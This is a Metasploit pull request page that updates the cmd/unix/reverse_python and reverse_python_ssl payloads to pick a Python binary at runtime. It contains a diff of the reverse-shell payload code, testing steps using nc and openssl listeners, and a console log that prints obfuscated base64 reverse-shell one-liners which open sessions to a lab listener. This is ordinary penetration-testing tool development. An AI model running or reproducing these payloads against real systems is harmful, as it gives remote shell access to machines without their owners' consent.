Skip to content

multi python support for cmd/unix/reverse_python and cmd/unix/reverse_python_ssl - #21255

Merged
smcintyre-r7 merged 6 commits into
rapid7:masterfrom
mxnvel:payloads-multi-python-support
Apr 14, 2026
Merged

multi python support for cmd/unix/reverse_python and cmd/unix/reverse_python_ssl#21255
smcintyre-r7 merged 6 commits into
rapid7:masterfrom
mxnvel:payloads-multi-python-support

Conversation

@mxnvel

@mxnvel mxnvel commented Apr 8, 2026

Copy link
Copy Markdown
Contributor

Fixes #19811

This PR adds support for multiple python binaries for cmd/unix/reverse_python and cmd/unix/reverse_python_ssl as mentioned in the issue above.

I am re-opening a merge request from another account because my previous account "jeanmtr" was suspended and all traces of its activities were deleted ( i do not know the reason behind the suspension). Sorry for any inconvenience this may cause.

Verification

List the steps needed to make sure this thing works
for reverse_python :

  • Run nc -lvnp 4444
  • Run msfvenom -p cmd/unix/reverse_python LHOST=[host to test]
  • Verify if the reverse shell is working

for reverse_python_ssl :

  • Generate ssl key and cert
  • Run openssl s_server -accept 4444 -cert server.crt -key server.key -quiet
  • Run msfvenom -p cmd/unix/reverse_python_ssl LHOST=[host to test]
  • Verify if the reverse shell is working

However there is an unrelated incompatibility with python version higher than 3.12, the ssl.wrap_socket method was removed. Here is a proposed fix that would fix it, i think the same issue is present in modules/payloads/singles/python/shell_reverse_tcp_ssl.rb . I don't know if i should open a separate issue or not so i will just put the diff here.

@@ -54,16 +54,19 @@ module MetasploitModule
     # Set up the socket
     cmd += "import socket,subprocess,os,ssl\n"
     cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
+    cmd += "context=ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n"
+    cmd += "context.check_hostname = False\n"
+    cmd += "context.verify_mode = ssl.CERT_NONE\n"
     cmd += "so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))\n"
-    cmd += "s=ssl.wrap_socket(so)\n"
+    cmd += "so = context.wrap_socket(so)\n"
     # The actual IO
     cmd += "#{dead}=False\n"
     cmd += "while not #{dead}:\n"
-    cmd += "\tdata=s.recv(1024)\n"
+    cmd += "\tdata=so.recv(1024)\n"
     cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n"
     cmd += "\tproc=subprocess.Popen(data.decode('utf-8'),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n"
     cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n"
-    cmd += "\ts.send(stdout_value)\n"
-    "#{datastore['PythonPath']} -c \"#{py_create_exec_stub(cmd)}\""
+    cmd += "\tso.send(stdout_value)\n"
+    "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | #{datastore['PythonPath']} -"
   end
 end

Comment thread modules/payloads/singles/cmd/unix/reverse_python.rb Outdated
Comment thread modules/payloads/singles/cmd/unix/reverse_python_ssl.rb Outdated
@github-project-automation github-project-automation Bot moved this from Todo to Waiting on Contributor in Metasploit Kanban Apr 8, 2026
@smcintyre-r7 smcintyre-r7 self-assigned this Apr 8, 2026
mxnvel and others added 2 commits April 9, 2026 22:07
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
@mxnvel
mxnvel requested a review from smcintyre-r7 April 9, 2026 20:10

@smcintyre-r7 smcintyre-r7 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Changes look good. I ran into an error but I'll open a separate ticket for it since it's a pre-existing condition and the intention here is fulfilled by the changes.

Testing Output
msf auxiliary(admin/kerberos/get_ticket) > 
msf auxiliary(admin/kerberos/get_ticket) > use payload/cmd/unix/reverse_p

Matching Modules
================

   #  Name                                 Disclosure Date  Rank    Check  Description
   -  ----                                 ---------------  ----    -----  -----------
   0  payload/cmd/unix/reverse_perl        .                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   1  payload/cmd/unix/reverse_python      .                normal  No     Unix Command Shell, Reverse TCP (via Python)
   2  payload/cmd/unix/reverse_perl_ssl    .                normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   3  payload/cmd/unix/reverse_php_ssl     .                normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   4  payload/cmd/unix/reverse_python_ssl  .                normal  No     Unix Command Shell, Reverse TCP SSL (via python)


Interact with a module by name or index. For example info 4, use 4 or use payload/cmd/unix/reverse_python_ssl

msf auxiliary(admin/kerberos/get_ticket) > use payload/cmd/unix/reverse_python
msf payload(cmd/unix/reverse_python) > show options 

Module options (payload/cmd/unix/reverse_python):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
   SHELL  /bin/sh          yes       The system shell to use


View the full module info with the info, or info -d command.

msf payload(cmd/unix/reverse_python) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf payload(cmd/unix/reverse_python) > generate 
# cmd/unix/reverse_python - 440 bytes
# https://metasploit.com/
# VERBOSE=false, LHOST=192.168.159.128, LPORT=4444, 
# ReverseAllowProxy=false, ReverseListenerThreaded=false, 
# StagerRetryCount=10, StagerRetryWait=5, 
# AutoVerifySession=true, SHELL=/bin/sh
buf = 
"\x65\x63\x68\x6f\x20\x65\x78\x65\x63\x5c\x28\x5f\x5f\x69" +
"\x6d\x70\x6f\x72\x74\x5f\x5f\x5c\x28\x5c\x27\x7a\x6c\x69" +
"\x62\x5c\x27\x5c\x29\x2e\x64\x65\x63\x6f\x6d\x70\x72\x65" +
"\x73\x73\x5c\x28\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f" +
"\x5c\x28\x5c\x27\x62\x61\x73\x65\x36\x34\x5c\x27\x5c\x29" +
"\x2e\x62\x36\x34\x64\x65\x63\x6f\x64\x65\x5c\x28\x5f\x5f" +
"\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x5c\x28\x5c\x27\x63\x6f" +
"\x64\x65\x63\x73\x5c\x27\x5c\x29\x2e\x67\x65\x74\x65\x6e" +
"\x63\x6f\x64\x65\x72\x5c\x28\x5c\x27\x75\x74\x66\x2d\x38" +
"\x5c\x27\x5c\x29\x5c\x28\x5c\x27\x65\x4e\x71\x4e\x6b\x46" +
"\x45\x4c\x67\x6a\x41\x55\x68\x66\x2b\x4b\x37\x47\x6d\x44" +
"\x6d\x47\x31\x55\x4b\x4c\x45\x48\x43\x59\x4f\x49\x43\x74" +
"\x4a\x33\x79\x62\x56\x51\x73\x6b\x32\x38\x38\x2f\x2b\x58" +
"\x57\x78\x48\x73\x79\x66\x74\x77\x78\x37\x33\x6e\x75\x2b" +
"\x66\x41\x32\x6c\x64\x76\x42\x68\x75\x42\x6b\x55\x39\x6c" +
"\x6f\x31\x38\x74\x58\x49\x65\x78\x37\x67\x63\x6a\x46\x55" +
"\x41\x67\x47\x4c\x66\x59\x4e\x67\x61\x73\x51\x43\x7a\x6c" +
"\x6c\x47\x30\x53\x79\x74\x59\x70\x5a\x54\x78\x42\x54\x70" +
"\x70\x4d\x78\x65\x70\x54\x62\x67\x4c\x68\x2f\x61\x6c\x2f" +
"\x38\x48\x66\x4b\x39\x74\x58\x68\x6e\x4a\x64\x68\x71\x68" +
"\x65\x4c\x79\x2b\x35\x59\x46\x65\x55\x31\x7a\x30\x37\x45" +
"\x6d\x31\x42\x70\x74\x46\x62\x53\x59\x6a\x77\x46\x42\x31" +
"\x64\x54\x49\x50\x47\x67\x41\x58\x6f\x66\x65\x34\x36\x42" +
"\x50\x74\x70\x4f\x61\x59\x4e\x4a\x77\x43\x35\x6e\x63\x6d" +
"\x77\x6d\x78\x7a\x33\x58\x69\x2f\x2b\x48\x55\x58\x6e\x72" +
"\x4f\x6f\x7a\x69\x75\x74\x55\x78\x4e\x49\x69\x38\x41\x52" +
"\x53\x75\x57\x39\x63\x5c\x3d\x5c\x27\x5c\x29\x5c\x5b\x30" +
"\x5c\x5d\x5c\x29\x5c\x29\x5c\x29\x20\x7c\x20\x24\x28\x77" +
"\x68\x69\x63\x68\x20\x70\x79\x74\x68\x6f\x6e\x20\x7c\x7c" +
"\x20\x77\x68\x69\x63\x68\x20\x70\x79\x74\x68\x6f\x6e\x33" +
"\x20\x7c\x7c\x20\x77\x68\x69\x63\x68\x20\x70\x79\x74\x68" +
"\x6f\x6e\x32\x29\x20\x2d"
msf payload(cmd/unix/reverse_python) > generate -f raw
echo exec\(__import__\(\'zlib\'\).decompress\(__import__\(\'base64\'\).b64decode\(__import__\(\'codecs\'\).getencoder\(\'utf-8\'\)\(\'eNqNkFELgjAQx7+K7GlCzDYqlNiDhEFEBem75Foo2W54+v1LpgT64v/luLvf/e+46mOhaT0E9datt/J6YVfYBpRGHAqA3qi9CyVgKwmPBOO7kPFtxLgIyZTqreXmp2kDpVvIXKBDFh/z0zXJxjNcMb0dznma3ZP44s98mAJjtGop7S8aBvu1/owFZM/OCorsVdXaAPUHfL0c5ctRMUOt/D+WqUddUxIUlQmwJP4X9dpf1w\=\=\'\)\[0\]\)\)\) | $(which python || which python3 || which python2) -
msf payload(cmd/unix/reverse_python) > generate -f raw
echo exec\(__import__\(\'zlib\'\).decompress\(__import__\(\'base64\'\).b64decode\(__import__\(\'codecs\'\).getencoder\(\'utf-8\'\)\(\'eNqVkN8LgjAQx/8V2dMGMduoUGIPEgYRFaTvkmuhZNvw9P8vWxKzp+7hjvvxufty9cOatgvAyLvqgtFmLkBf2tZIBTDtmLGyfvvKQCcQizllq4iyZUwZj5A3MpwRi5d5VRDuMnUBf7JkW+yOaf6jx3Wz02ZfZPk5TQ7E30al0VrJDuNB0RQfJBCfMECvveUY6K1ulDaYTKH5vwD7F+A+YMX37VRemgajsKx1CBUiT15+ZLc\=\'\)\[0\]\)\)\) | $(which python || which python3 || which python2) -
msf payload(cmd/unix/reverse_python) > to_handler 
[*] Payload Handler Started as Job 0
msf payload(cmd/unix/reverse_python) > 
[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Command shell session 1 opened (192.168.159.128:4444 -> 192.168.159.128:56006) at 2026-04-14 15:16:45 -0400
exit
[*] You have active sessions open, to exit anyway type "exit -y"
msf payload(cmd/unix/reverse_python) > sessions -K
[*] Killing all sessions...
[*] 192.168.159.128 - Command shell session 1 closed.
msf payload(cmd/unix/reverse_python) > run PythonPath=python3
[-] Unknown command: run. Run the help command for more details.
msf payload(cmd/unix/reverse_python) > generate -f raw PythonPath=python3
echo exec\(__import__\(\'zlib\'\).decompress\(__import__\(\'base64\'\).b64decode\(__import__\(\'codecs\'\).getencoder\(\'utf-8\'\)\(\'eNqFkEELwjAMhf/K6KkFqbaobEgPQyaIqOB2H65WNpxtWbr/77Yq9bZcHkm+vAdp3tZ0LgIjX8pFv1pAX9nOSAUQZgai3aC1AScQSzhl25iyTUIZj9G0Gq3EeqipA+FdqRf87dJDebxkxV+Wn+fX/anMi1uWnom/p9JoraTDeMwMB2MM8YwB+ugtx0CfTau0wSRgq3mEzSPcI1aEl1B5b1uMllWjl1Aj8gEDU1d3\'\)\[0\]\)\)\) | python3  -
msf payload(cmd/unix/reverse_python) > [*] Command shell session 2 opened (192.168.159.128:4444 -> 192.168.159.128:33686) at 2026-04-14 15:17:23 -0400
exit
[*] You have active sessions open, to exit anyway type "exit -y"
msf payload(cmd/unix/reverse_python) > Interrupt: use the 'exit' command to quit
msf payload(cmd/unix/reverse_python) > jobs -K
Stopping all jobs...
msf payload(cmd/unix/reverse_python) > use payload/cmd/unix/reverse_python_ssl
msf payload(cmd/unix/reverse_python_ssl) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf payload(cmd/unix/reverse_python_ssl) > generate -f raw
echo exec\(__import__\(\'zlib\'\).decompress\(__import__\(\'base64\'\).b64decode\(__import__\(\'codecs\'\).getencoder\(\'utf-8\'\)\(\'eNptj81qwzAQhM/WU+hmiaoiNmlxCjqE4kAobUMTn41qbYipahmtnLx+Zez+Ul3EfrMzzLbvvfOBomveIAgcXnvvGkAUDgWiJejUpMnpY/O03tTbp/Ig5nH/fP9Q7w8v5fqRR49sXNdBExhLs1Uus9tCZjcrmeVFKpbx8bikYry8eN3XX8mRVmqjLQK5nFoLtHOxWnVHEqODVig9NGeWLfIlJ0l7pBY6NipcqUVcSrCiih78ACQZz1Df58id6+dlaaBxBlg6hON1kXKBJ7BWjTaBwbgh/PJtd+WIwfv/cNv9pbHZlFKftR1AjZqcSKyvDeP0in7CmDrD6JIInWE/zZx8AGzAi/E\=\'\)\[0\]\)\)\) | $(which python || which python3 || which python2) -
msf payload(cmd/unix/reverse_python_ssl) > to_handler 
[*] Payload Handler Started as Job 1
msf payload(cmd/unix/reverse_python_ssl) > 
[*] Started reverse SSL handler on 192.168.159.128:4444 
[*] Command shell session 3 opened (192.168.159.128:4444 -> 192.168.159.128:39524) at 2026-04-14 15:22:21 -0400
id
[*] exec: id

uid=1000(smcintyre) gid=1000(smcintyre) groups=1000(smcintyre),10(wheel),967(wireshark) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
msf payload(cmd/unix/reverse_python_ssl) > 

@github-project-automation github-project-automation Bot moved this from Waiting on Contributor to In Progress in Metasploit Kanban Apr 14, 2026
@smcintyre-r7

Copy link
Copy Markdown
Contributor

The rspec failures are unrelated, it's the MS-ICPR problem that was on master for a few days.

@smcintyre-r7
smcintyre-r7 merged commit 53f8053 into rapid7:master Apr 14, 2026
42 of 48 checks passed
@github-project-automation github-project-automation Bot moved this from In Progress to Done in Metasploit Kanban Apr 14, 2026
@smcintyre-r7

Copy link
Copy Markdown
Contributor

Release Notes

This updates two Python payloads (cmd/unix/reverse_python and cmd/unix/reverse_python_ssl) to make the PythonPath option optional. When omitted, it defaults to a shim that will determine the appropriate version of Python at runtime using a small bash expression.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

rn-enhancement release notes enhancement

Projects

Archived in project

Development

Successfully merging this pull request may close these issues.

Payload cmd/unix/reverse_python gives "Syntax error" on recent Linux systems

3 participants